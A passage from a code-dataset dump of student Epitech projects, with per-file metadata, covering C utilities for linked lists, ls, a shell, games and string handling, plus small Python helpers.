print(\"error\")\n sys.exit(84)\n i = i + 1\n\ndef check_type(i, list):\n if list[i] == \"-r\":\n print(\"Rotation by a\", list[i + 1], \"degree angle\")\n rotate(list[i - 2], list[i - 1], list[i + 1])\n if list[i] == \"-t\":\n print(\"Translation along vector \", end=\"\")\n print(\"(\", list[i + 1], \", \", list[i + 2], \")\", sep=\"\")\n translat(list[i - 2], list[i - 1], list[i + 1], list[i + 2])\n if list[i] == \"-z\":\n print(\"scaling by factors\",list[i + 1] ,\"and\",list[i + 2])\n scaling(list[i - 2], list[i - 1], list[i + 1], list[i + 2])\n if list[i] == \"-s\":\n print(\"reflection over the axis passing through 0 with an\", end=\"\")\n print(\" inclination angle of \", list[i + 1], \" degrees\", sep=\"\")\n reflection(list[i - 2], list[i - 1], list[i + 1])\n \ndef help():\n print(\"USAGE\")\n print(\" ./102architect X Y transfo1 arg11 [arg12] \", end=\"\")\n print(\"[transfo arg12 [arg22]] ...\\n\")\n print(\"DESCRIPTION\")\n print(\" X abscissa of the original point\")\n print(\" Y ordinate of the original point\\n\")\n print(\" transfo arg1 [arg2]\")\n print(\" -t i j translation along vector(i, j)\")\n print(\" -z m n scaling by factors m(x-axis) and n (y_axis)\")\n print(\" -r d rotation centered in 0 by a d degree angle\")\n print(\" -s d reflection over the axis passing throught 0 \", end=\"\")\n print(\"with and inclination\\n angle of degrees\")" }, { "alpha_fraction": 0.592700719833374, "alphanum_fraction": 0.6087591052055359, "avg_line_length": 24.407407760620117, "blob_id": "c077424037bd4b204a2fb6a0f3a6e8ea93b47733", "content_id": "113cdc58ef5ad4be6f469947221edb45cc46d171", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 685, "license_type": "no_license", "max_line_length": 77, "num_lines": 27, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/hitbox2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** hitbox2\n*/\n\n#include \"game.h\"\n#include <stdlib.h>\n\nlinked_list_t *scale_hitbox(linked_list_t *hitbox, sfVector2f scale)\n{\n linked_list_t *scaled = 0;\n hitbox_t *source_hitbox;\n hitbox_t *scaled_hitbox;\n\n for (linked_list_t *i = hitbox; i; i = i->next) {\n source_hitbox = i->data;\n scaled_hitbox = malloc(sizeof(hitbox_t));\n scaled_hitbox->type = source_hitbox->type;\n scaled_hitbox->box = scale_float_rect(source_hitbox->box, float_rect(\n scale.x, scale.y, scale.x, scale.y\n ));\n scaled = ll_append(scaled, scaled_hitbox);\n }\n return scaled;\n}" }, { "alpha_fraction": 0.5189573168754578, "alphanum_fraction": 0.5379146933555603, "avg_line_length": 18.65116310119629, "blob_id": "9c61923d114798baab15e5dad02a8288a03ec5a3", "content_id": "7cd1900c218209de705bf95bc0e82745349de759", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 844, "license_type": "no_license", "max_line_length": 72, "num_lines": 43, "path": "/tek1/Advanced/PSU_my_ls_2019/src/my_ls.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** my_ls.c\n*/\n\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include \"my.h\"\n#include \"ls.h\"\n\nvoid redirect(char *directory, ls_t *ls)\n{\n if (ls->ac > 3) {\n my_putstr(directory);\n my_putstr(\":\\n\");\n }\n if (ls->l == 1)\n l_flag(directory);\n if (ls->l == 0 && ls->r == 0 && ls->t == 0)\n no_flag(directory);\n if ((ls->i) < ls->ac)\n my_putstr(\"\\n\");\n}\n\nint my_ls(char *directory, ls_t *ls)\n{\n DIR *rep = opendir(directory);\n struct dirent *lecture;\n ls->count = 0;\n\n if (rep == NULL) {\n my_putstr(\"error you have enterred a wrong folder name for : \");\n my_putstr(directory);\n exit(84);\n }\n redirect(directory, ls);\n closedir(rep);\n}" }, { "alpha_fraction": 0.5609756112098694, "alphanum_fraction": 0.5792682766914368, "avg_line_length": 16.3157901763916, "blob_id": "b70492d7d2473a93fc4215f09efc09457d2cd2e4", "content_id": "57d3f17acc9f299efed76dfb5ff16cd400cdc63f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 328, "license_type": "no_license", "max_line_length": 59, "num_lines": 19, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/list/ll_pop.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nlinked_list_t *ll_pop(linked_list_t *list)\n{\n linked_list_t *i = list;\n\n if (!i || !i->next) return 0;\n while (((linked_list_t *)(i->next))->next) i = i->next;\n i->next = 0;\n return list;\n}" }, { "alpha_fraction": 0.5537848472595215, "alphanum_fraction": 0.5756971836090088, "avg_line_length": 16.310344696044922, "blob_id": "440d3d08b3efca7288e600e9aa342675002119d0", "content_id": "1a7e78047190a8cc855acd2ff5962141152ea249", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 502, "license_type": "no_license", "max_line_length": 55, "num_lines": 29, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_sorter_basics.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_sorter_basics.c\n*/\n\n#include \"pushswap.h\"\n\nvoid swap(int *arr, char c, struct req *req)\n{\n int tmp = arr[0];\n\n arr[0] = arr[1];\n arr[1] = tmp;\n my_put_char('s');\n my_put_char(c);\n end_instruction(req);\n}\n\nvoid push(int *arr, int *arr2, struct req *req, char c)\n{\n int value = remove_first(arr, req->len);\n\n add_to(arr2, value, 0, req->len);\n my_put_char('p');\n my_put_char(c);\n end_instruction(req);\n}\n" }, { "alpha_fraction": 0.3596014380455017, "alphanum_fraction": 0.4012681245803833, "avg_line_length": 19.44444465637207, "blob_id": "dc77e4e96885171790b19d43ce1a5543e57d6d78", "content_id": "1da7a9e844fcd9f2b875e086268c059d706c48ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1104, "license_type": "no_license", "max_line_length": 73, "num_lines": 54, "path": "/tek1/Advanced/PSU_navy_2019/sources/error/pos_error.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** pos_error.c\n*/\n\n#include \"navy.h\"\n\nint getnbrlinepos(char *buff)\n{\n int lines = 0;\n\n for (int i = 0; buff[i] != '\\0'; i++)\n if (buff[i] == '\\n')\n lines++;\n if (lines != 4)\n return 1;\n return 0;\n}\n\nint getnbrcolpos(char *buff)\n{\n int col = 0;\n int j = 1;\n\n for (int i = 0; buff[i] != '\\0'; i++, j++) {\n if (buff[i] == '\\n' && buff[i + 1] == '\\0')\n return 0;\n if (buff[i] == '\\n' && j != 8)\n return 1;\n if (buff[i] == '\\n')\n j = 0;\n }\n return 0;\n}\n\nint check_strpos(char **pos)\n{\n int i = 0;\n int shiptype = 2;\n\n for (int j = 0; pos[i] != NULL ; i++, j = 0, shiptype++) {\n if (pos[i][1] != ':' || pos[i][4] != ':')\n return 1;\n if (isnum(pos[i][0]) == 0 || isnum(pos[i][3]) == 0\n || isnum(pos[i][6]) == 0)\n return 1;\n if (char_isalpha(pos[i][2]) == 0 || char_isalpha(pos[i][5]) == 0)\n return 1;\n if (shiptype != (i + 2))\n return 1;\n }\n}\n" }, { "alpha_fraction": 0.42222222685813904, "alphanum_fraction": 0.4793650805950165, "avg_line_length": 14.800000190734863, "blob_id": "851bc5fe73eb77eb504d1bd741878f535f3aed54", "content_id": "dd99a136803aaa85c5ecaa91e2893e903224aa1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 315, "license_type": "no_license", "max_line_length": 30, "num_lines": 20, "path": "/tek1/Advanced/PSU_my_printf_2019/lib/my/my_put_nbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_printf_2019\n** File description:\n** my_put_nbr.c\n*/\n\n#include <unistd.h>\n\nint my_put_nbr(int nb)\n{\n if (nb > 9)\n my_put_nbr(nb / 10);\n else if (nb < 0) {\n nb *= -1;\n my_putchar('-');\n my_put_nbr(nb / 10);\n }\n my_putchar('0' + nb % 10);\n}" }, { "alpha_fraction": 0.6437054872512817, "alphanum_fraction": 0.6567695736885071, "avg_line_length": 23.764705657958984, "blob_id": "a9975add6b0b22890536668dbf58d337fd2f80fe", "content_id": "c3520563c3a3ac72cef9de21a373f24bec85b918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 842, "license_type": "no_license", "max_line_length": 69, "num_lines": 34, "path": "/tek1/Functionnal/CPE_matchstick_2019/lib/my/match.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_matchstick_2019\n** File description:\n** match.h\n*/\n\n#ifndef __MATCH_STICK__\n#define __MATCH_STICK__\n\ntypedef struct match_s\n{\n char *lines;\n int line;\n int line2;\n char *maxs;\n int max;\n int pipe;\n int turn;\n int win;\n} match_t;\n\nint error_handling(char **argv, match_t *match, int ac);\nchar **my_strtodouble(match_t *match);\nchar **writemap(match_t *match, char **str);\nint startgame(char **str, match_t *match, char *str2);\nvoid remove_pipe(char **str, match_t *match, int nbr, int line);\nvoid write_game(char **str, match_t *match);\nvoid iaturn(char **str, match_t *match);\nint checkerror_output(int nbr, match_t *match, char **str, int line);\nint check_line(char **str, int line, match_t *match, char *str2);\nvoid writeplayerinfo(int nbr, int line);\n\n#endif /*__MATCH_STICK__ */\n" }, { "alpha_fraction": 0.5075987577438354, "alphanum_fraction": 0.5440729260444641, "avg_line_length": 15.5, "blob_id": "9918f16d4475536cd58b8175fa561c830b17278b", "content_id": "7412ac85cf0b7f3281fcd137f33c7fb380542396", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 329, "license_type": "no_license", "max_line_length": 49, "num_lines": 20, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/concat_strings.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d03_2019\n** File description:\n** concat_strings.c\n*/\n\n#include \"phoenix.h\"\n\nchar *concat_strings(char *dest, char const *src)\n{\n int len = my_strlen(dest);\n\n for (int i = 0; src[i]; i++) {\n dest[len] = src[i];\n len++;\n }\n dest[len] = '\\0';\n return (dest);\n}" }, { "alpha_fraction": 0.4264705777168274, "alphanum_fraction": 0.47058823704719543, "avg_line_length": 15.190476417541504, "blob_id": "e965a16f263fbf1e5f368924557d8113242cb52b", "content_id": "bd9dacd3c5950a81f4986ed5fe0c46b27a4e80ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 340, "license_type": "no_license", "max_line_length": 35, "num_lines": 21, "path": "/tek1/Piscine/CPool_Day05_2019/my_compute_factorial_it.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_factorial_it\n** File description:\n** task01\n*/\n\nint my_compute_factorial_it(int nb)\n{\n int count = 1;\n \n if ((nb > 12) || (nb < 0))\n return 0;\n if ((nb == 0) || (nb == 1))\n return 1;\n while (nb > 0) {\n count = count * nb;\n nb--;\n }\n return count;\n}\n" }, { "alpha_fraction": 0.5727891325950623, "alphanum_fraction": 0.5904762148857117, "avg_line_length": 16.5238094329834, "blob_id": "98f946cda4caba508f3b846c130cd76154f247a3", "content_id": "0bae3238c644927243ba93a403f15fd0899bea1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 735, "license_type": "no_license", "max_line_length": 53, "num_lines": 42, "path": "/tek1/Advanced/PSU_my_sokoban_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_sokoban_2019\n** File description:\n** main for sokoban\n*/\n\n#include <ncurses.h>\n#include <sys/stat.h>\n#include <sys/types.h>\n#include <fcntl.h>\n#include <stdlib.h>\n#include \"my.h\"\n#include \"pos.h\"\n\nchar *read_file(char *path, struct stat byte)\n{\n int fd;\n\n fd = open(path, O_RDWR);\n stat(path, &byte);\n path = malloc(sizeof(char) * (byte.st_size + 1));\n read(fd, path, byte.st_size);\n path[byte.st_size] = 0;\n return path;\n}\n\nint main(int ac, char **argv)\n{\n char *file;\n struct stat byte;\n\n check_error(ac, argv);\n file = read_file(argv[1], byte);\n initscr();\n curs_set(0);\n pos_player(file);\n refresh();\n endwin();\n free(file);\n return (0);\n}" }, { "alpha_fraction": 0.5304877758026123, "alphanum_fraction": 0.5573170781135559, "avg_line_length": 19.024391174316406, "blob_id": "5cbb0fa7f95581526c86cad0aeda1ed34c86b0d2", "content_id": "36dd0bcb523e1003227020e54b2fca5b7fd31c1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 820, "license_type": "no_license", "max_line_length": 63, "num_lines": 41, "path": "/tek1/Advanced/PSU_42sh_2019/src/builtins/env.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** env.c\n*/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include \"shell.h\"\n\nint builtin_env(int argc, char **argv, dictionary_t **env)\n{\n UNUSED(argv);\n UNUSED(argc);\n for (dictionary_t *i = *env; i; i = i->next)\n my_printf(\"%s=%s\\n\", i->index, i->data);\n return 0;\n}\n\nint builtin_setenv(int argc, char **argv, dictionary_t **env)\n{\n char *value = \"\";\n\n if (argc == 1)\n return builtin_env(0, 0, env);\n else if (argc >= 3)\n value = argv[2];\n *env = env_set(*env, argv[1], value);\n return 0;\n}\n\nint builtin_unsetenv(int argc, char **argv, dictionary_t **env)\n{\n if (argc < 2) {\n my_printf(\"unsetenv: Too few arguments.\\n\");\n return 1;\n }\n *env = dict_remove(*env, argv[1]);\n return 0;\n}" }, { "alpha_fraction": 0.46590909361839294, "alphanum_fraction": 0.49494948983192444, "avg_line_length": 22.294116973876953, "blob_id": "279e61ddc2a59a8fabccde1d47fff358f6db644b", "content_id": "fcc9facbdeefa73571011e5e7a63de1e52201d7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 792, "license_type": "no_license", "max_line_length": 74, "num_lines": 34, "path": "/tek1/AI/AIA_n4s_2019/src/get_next_line.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** get_next_line.c\n*/\n\n#include <unistd.h>\n#include <stdlib.h>\n#include \"gnl.h\"\n#include \"n4s.h\"\n\nchar *get_next_line(const int fd)\n{\n static t_vars\tvar;\n\n if ((var.id == 0 && (var.value = read(fd, var.buf, 1)) < 1)\n || (var.id_line == 0 && (var.line = malloc(SIZE_MALLOC)) == NULL))\n exit(write(2, \"exit\\n\", 5));\n while (var.id != var.value) {\n if (var.buf[var.id] == '\\n' || var.buf[var.id] == 0) {\n var.id += 1;\n var.line[var.id_line] = 0;\n var.id_line = 0;\n return (var.line);\n }\n var.line[var.id_line] = var.buf[var.id];\n var.id_line += 1;\n var.id += 1;\n }\n var.id = 0;\n get_next_line(fd);\n return (var.line);\n}\n" }, { "alpha_fraction": 0.5025210380554199, "alphanum_fraction": 0.529411792755127, "avg_line_length": 22.81333351135254, "blob_id": "2b27756d33442a1d0486ad9c5a1ddbf290bd750f", "content_id": "fd5c1a746095b5036405ae69fc0c80f3bdd6067e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1785, "license_type": "no_license", "max_line_length": 79, "num_lines": 75, "path": "/tek1/Functionnal/CPE_lemin_2019/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_lemin_2019\n** File description:\n** main.c\n*/\n\n#include \"lemin.h\"\n#include \"stdlib.h\"\n\nlemin_data_t *init_data(void)\n{\n lemin_data_t *data = malloc(sizeof(lemin_data_t));\n\n data->rooms = 0;\n data->ants = 0;\n data->ants_nb = -999999999;\n data->end_room = 0;\n data->start_room = 0;\n data->tunnels = 0;\n data->next_room = R_NORMAL;\n}\n\nint ants_walk(lemin_data_t *data)\n{\n ant_t *ant;\n int ant_nb = 0;\n int iter_nb = 0;\n int remove_previous = 0;\n\n for (linked_list_t *i = data->ants; i; i = i->next) {\n if (remove_previous) {\n free(ant);\n data->ants = ll_remove(data->ants, ant_nb - 1);\n ant_nb--;\n remove_previous = 0;\n }\n ant = i->data;\n if (!next_room(iter_nb, ant, data)) return 84;\n if (!my_strcmp(ant->current_room, data->end_room)) remove_previous = 1;\n ant_nb++;\n iter_nb++;\n }\n if (remove_previous) {\n free(ant);\n data->ants = ll_remove(data->ants, ant_nb - 1);\n }\n my_printf(\"\\n\");\n return 0;\n}\n\nint main(int ac, char **av, char **envp)\n{\n int line_status = 0;\n lemin_data_t *data = init_data();\n\n while (line_status != -1 && line_status != 84)\n line_status = parse_line(data);\n if (data->ants_nb < 0) {\n my_printf(\"ERROR: invalid number of ants\");\n return 84;\n }\n if (!data->start_room || !data->end_room) {\n my_printf(\"ERROR: no %s room\", data->start_room ? \"end\" : \"start\");\n return 84;\n }\n if (line_status == 84) return 84;\n init_display(data);\n create_ants(data);\n while (data->ants)\n if (ants_walk(data) == 84) break;\n ll_free(data->ants, free);\n dict_free(data->rooms, 1, free);\n free(data);\n}" }, { "alpha_fraction": 0.49494948983192444, "alphanum_fraction": 0.5387205481529236, "avg_line_length": 15.55555534362793, "blob_id": "a4be6fc8541a5638bb2488264095ec1a89d404ca", "content_id": "1820f56e9386ee2d5a85145ae6652b64170aac97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 297, "license_type": "no_license", "max_line_length": 44, "num_lines": 18, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/my_strcpy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d02_2019\n** File description:\n** my_strcpy.c\n*/\n\n#include \"phoenix.h\"\n\nchar *my_strcpy(char *dest, char const *src)\n{\n int pos;\n for (pos = 0; src[pos] != '\\0'; pos++) {\n dest[pos] = src[pos];\n }\n dest[pos] = '\\0';\n return (dest);\n}" }, { "alpha_fraction": 0.5732860565185547, "alphanum_fraction": 0.5815602540969849, "avg_line_length": 22.52777862548828, "blob_id": "b0a5221f3f76da6d4983caa2f56f8f5cf7a174d4", "content_id": "8af56ab185afc3ae13f80b51dbfc51949c26068c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 846, "license_type": "no_license", "max_line_length": 69, "num_lines": 36, "path": "/tek1/Advanced/PSU_42sh_2019/lib/linked/list/ll_add.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_lists\n** File description:\n** linked_lists\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nlinked_list_t *ll_insert(linked_list_t *list, void *value, int index)\n{\n linked_list_t *iterator = list;\n linked_list_t *new_list = malloc(sizeof(linked_list_t));\n linked_list_t *temp;\n int i = 0;\n\n new_list->data = value;\n while (iterator) {\n if (i == index - 1) {\n temp = iterator->next;\n iterator->next = new_list;\n new_list->next = temp;\n }\n i++;\n iterator = iterator->next;\n }\n return list;\n}\n\nlinked_list_t *ll_add(linked_list_t *list, void *value, int index)\n{\n if (index == 0) return ll_prepend(list, value);\n else if (index >= ll_len(list)) return ll_append(list, value);\n else return ll_insert(list, value, index);\n}" }, { "alpha_fraction": 0.41798943281173706, "alphanum_fraction": 0.44708994030952454, "avg_line_length": 15.434782981872559, "blob_id": "63a3d225c9148f40460377a3167b7acbef89158a", "content_id": "bd1f3c37f0ea9d38bda0f3e18a56f524fb48d8a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 378, "license_type": "no_license", "max_line_length": 38, "num_lines": 23, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strlen2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strlen\n** File description:\n** To calcul \\n number in a string\n*/\n\nint my_strlen_nbligne(char const *str)\n{\n int\ti;\n int\tline;\n\n line = 0;\n i = 0;\n while (str[i] != '\\0') {\n if (str[i] == '\\n')\n line = line + 1;\n i = i + 1;\n }\n if (str[i - 1] == '\\n')\n line = line - 1;\n return (line);\n}\n" }, { "alpha_fraction": 0.6442952752113342, "alphanum_fraction": 0.6644295454025269, "avg_line_length": 23.83333396911621, "blob_id": "d944fbc8591dfbb4471f5b10f322c017c635dcc9", "content_id": "bd0baa1c50b947e2a4cad550744c70004f26927e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 447, "license_type": "no_license", "max_line_length": 84, "num_lines": 18, "path": "/tek1/Piscine/CPool_Day13_2019/display_window.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#include <SFML/Graphics/RenderWindow.h>\n\nint new_window()\n{\n sfRenderWindow *window;\n sfVideoMode video_mode;\n\n video_mode.width = 800;\n video_mode.height = 600;\n video_mode.bitsPerPixel = 32;\n\n window = sfRenderWindow_create(video_mode, \"test window\", sfDefaultStyle, NULL);\n while (sfRenderWindow_isOpen(window)) {\n sfRenderWindow_display(window);\n }\n sfRenderWindow_destroy(window);\n return (0);\n}\n" }, { "alpha_fraction": 0.548275887966156, "alphanum_fraction": 0.5724138021469116, "avg_line_length": 38.59090805053711, "blob_id": "9d17179d581cfc8df4cf33f12344b4a008dec62a", "content_id": "4e62da55153942b87d8d9147c7986a4d5d00038e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 870, "license_type": "no_license", "max_line_length": 79, "num_lines": 22, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/help.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** help.c\n*/\n\n#include \"../include/my.h\"\n\nvoid help(void)\n{\n my_putstr(\"USAGE\\n ./palindrome -n number -p palindrome [-b base] [\");\n my_putstr(\"-imin i] [-imax i]\\n\\nDESCRIPTION\\n -n n integer to\");\n my_putstr(\" be transformed (>=0)\\n -p pal palindromic number to \");\n my_putstr(\"be obtained (incompatible with the -n\\n \");\n my_putstr(\"option) (>=0)\\n if defined, all fitting values\");\n my_putstr(\" of n will be output\\n -b base base in which the proc\");\n my_putstr(\"edure will be executed (1<b<=10) [def: 10]\\n -imin i \");\n my_putstr(\"minimum number of iterations, included (>=0) [def: 0]\\n \");\n my_putstr(\"-imax i maximum number of iterations, included (>=0) [def: \");\n my_putstr(\"100]\\n\");\n}" }, { "alpha_fraction": 0.6891891956329346, "alphanum_fraction": 0.6891891956329346, "avg_line_length": 23.66666603088379, "blob_id": "9b54e04b815fee07073e1773bc0076536478f231", "content_id": "2bc15b5a0f8b730edc9b90490b3929014bd2e15b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 222, "license_type": "no_license", "max_line_length": 46, "num_lines": 9, "path": "/tek1/QuickTest/CPE_duostumper_2_2019/inc/my.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint launchbasic(char **av, int size);\nchar *getword();\nint my_strlen(char *arg);\nint findword(char *word, int size, char *arg);\nint my_getnbr(char *s, int base);\n" }, { "alpha_fraction": 0.5403022766113281, "alphanum_fraction": 0.5680100917816162, "avg_line_length": 21.08333396911621, "blob_id": "546d8a57ec39a4cde8f20ce6c961448228076383", "content_id": "a4465dc191b8b57928d00eb78d78ec7c30679fdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 794, "license_type": "no_license", "max_line_length": 80, "num_lines": 36, "path": "/tek1/Advanced/PSU_42sh_2019/src/extra/history.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** history.c\n*/\n\n#include \"shell.h\"\n#include <stdio.h>\n\nint write_to_his(int argc, char **argv, dictionary_t **env ,const char *text)\n{\n FILE *f = fopen(my_strconcat(dict_get(*env, \"HOME\"), \"/.42sh_his\"), \"a\");\n\n UNUSED(argc);\n UNUSED(argv);\n if (f == NULL) {\n perror(\"write to history\");\n return 84;\n }\n fprintf(f, \"%s\", text);\n fclose(f);\n return 0;\n}\n\nint display_history(int argc, char **argv, dictionary_t **env)\n{\n UNUSED(argc);\n UNUSED(argv);\n if (fopen(my_strconcat(dict_get(*env, \"HOME\"), \"/.42sh_his\"), \"r\") == NULL){\n perror(\"Display history\");\n return 84;\n }\n my_printf(read_file(my_strconcat(dict_get(*env, \"HOME\"), \"/.42sh_his\")));\n return 0;\n}" }, { "alpha_fraction": 0.3539731800556183, "alphanum_fraction": 0.38596490025520325, "avg_line_length": 17.634614944458008, "blob_id": "a3a3962b155d4c387191ce0068f118dc1a6c28b6", "content_id": "f1b87e05c0b710da78fc75ea4dc678ae4ddd569e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 969, "license_type": "no_license", "max_line_length": 55, "num_lines": 52, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_string.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_string.c\n*/\n\n#include \"pushswap.h\"\n\nint my_strcmp(const char *s1, const char *s2)\n{\n int i = 0;\n\n for (i = 0; s1[i] == s2[i] && s1[i]; i++);\n return (s1[i] - s2[i]);\n}\n\nint my_atoi(char *str)\n{\n int nbr = 0;\n\n for (int i = 0; str[i]; i++) {\n if (str[i] == '-' || str[i] == '+')\n continue;\n if (str[i] >= '0' && str[i] <= '9')\n {\n nbr *= 10;\n nbr += str[i] - '0';\n }\n else if(nbr != 0)\n break;\n else\n return (0);\n }\n if (str[0] == '-')\n nbr *= -1;\n return (nbr);\n}\n\nint my_str_isnum(const char *str)\n{\n const int true = 1;\n const int false = 0;\n\n for (int i = 0; str[i] != '\\0'; i++) {\n if (i == 0 && (str[i] == '-' || str[i] == '+'))\n continue;\n if (!(str[i] <= '9' && str[i] >= '0'))\n return (false);\n }\n return (true);\n}\n" }, { "alpha_fraction": 0.5677965879440308, "alphanum_fraction": 0.6101694703102112, "avg_line_length": 21.125, "blob_id": "8ab7a232ecfa6c01add058f5df7d925d7e4d5130", "content_id": "5bb2a9245225e8116007d4ebc802be4bb3ad9297", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 354, "license_type": "no_license", "max_line_length": 73, "num_lines": 16, "path": "/tek1/Mathématique/103cipher_2019/help.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 103cipher_2019\n## File description:\n## man -h\n##\n\nimport sys\n\ndef help_h():\n print(\"USAGE\")\n print(\" ./103cipher message key flag\\n\")\n print(\"DESCRIPTION\")\n print(\" message a message, made of ASCII characters\")\n print(\" key the encryption key, made of ASCII characters\")\n sys.exit(0)\n" }, { "alpha_fraction": 0.4742647111415863, "alphanum_fraction": 0.49632352590560913, "avg_line_length": 13.315789222717285, "blob_id": "16eaf00a89bd8abcaf2ecb455358922a75ba1f8b", "content_id": "34f73190916541360b56c8a246efb5841079fd1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 272, "license_type": "no_license", "max_line_length": 36, "num_lines": 19, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_put.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_put.c\n*/\n\n#include \"pushswap.h\"\n\nvoid my_put_array(int len, int *arr)\n{\n int i = 0;\n\n for (i = 0; i < len; i++) {\n my_put_nbr(arr[i]);\n my_put_char(' ');\n }\n my_put_char('\\n');\n}\n" }, { "alpha_fraction": 0.41005024313926697, "alphanum_fraction": 0.4351758658885956, "avg_line_length": 18.899999618530273, "blob_id": "475e89373acef29a3eb9ed6857ce20ae6d6f8949", "content_id": "9f0bb7ba69063c841c918d77d6bd463a8f0235ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 995, "license_type": "no_license", "max_line_length": 72, "num_lines": 50, "path": "/tek1/QuickTest/CPE_duostumper_2_2019/src/findword.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** findword\n** File description:\n** \n*/\n\n#include \"my.h\"\n\ntypedef struct var {\n int pos2;\n int pos;\n \n} var_t;\n\nint findword_scd(char *word, int size, char *arg, var_t *t)\n{\n if (word[t->pos2] == arg[t->pos + size]) { 